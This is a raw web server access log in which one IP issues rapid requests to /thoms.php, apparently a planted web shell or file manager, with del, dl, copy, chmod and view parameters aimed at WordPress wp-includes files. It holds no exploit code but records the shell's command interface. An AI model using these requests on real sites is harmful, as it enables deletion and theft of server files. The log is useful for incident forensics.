45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?del=script-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:50 -0400] "GET /thoms.php?del=category-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59431 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost-formats.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost-formats.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22725 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?del=sodium_compat&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpluggable.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpluggable.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /thoms.php?del=class-wp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /booking-wise2.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:51 -0400] "GET /booking-wise2.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?dl=embed-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?del=class-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59453 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?del=taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?del=theme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:52 -0400] "GET /thoms.php?chmod=wp-diff.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13221 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21193 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?chmod=registration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17850 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:53 -0400] "GET /thoms.php?dl=default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?chmod=class-IXR.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14115 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17496 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?chmod=connectors.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?del=cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 200 12407 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?del=theme-templates.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:54 -0400] "GET /thoms.php?dl=view-transitions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59420 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /booking-wise2.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:55 -0400] "GET /booking-wise2.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 200 1326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12148 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11554 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?del=class-pop3.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?del=class-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?del=post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frest-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Frest-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:56 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21700 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?del=https-migration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19050 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18296 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:57 -0400] "GET /thoms.php?del=class-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?dl=media.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?dl=media.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
